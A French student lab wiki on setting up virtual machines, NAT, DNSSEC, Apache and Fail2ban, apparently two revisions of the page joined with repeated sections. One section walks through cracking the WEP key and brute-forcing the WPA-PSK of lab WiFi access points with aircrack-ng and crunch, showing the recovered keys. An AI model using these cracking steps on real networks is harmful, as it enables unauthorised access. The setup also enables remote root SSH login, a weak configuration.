netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Création des chaînes :<syntaxhighlight>
nft add chain PREROUTING
</syntaxhighlight>Redirection des ports :<syntaxhighlight>
nft add rule NAT PREROUTING tcp dport 2201 dnat to 192.168.0.2:22
nft add rule NAT PREROUTING tcp dport 2202 dnat to 192.168.0.3:22
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight>
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code>

De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T13:53:52Z

Tmerien : /* SSH depuis l'extérieur */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Ensuite nous activons la translation d'adresse NAT.<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE
</syntaxhighlight>Remarque : Pour que ces changements soient persistants, il faut installer le paquet <code>iptable-persistent</code>.

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code>

De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
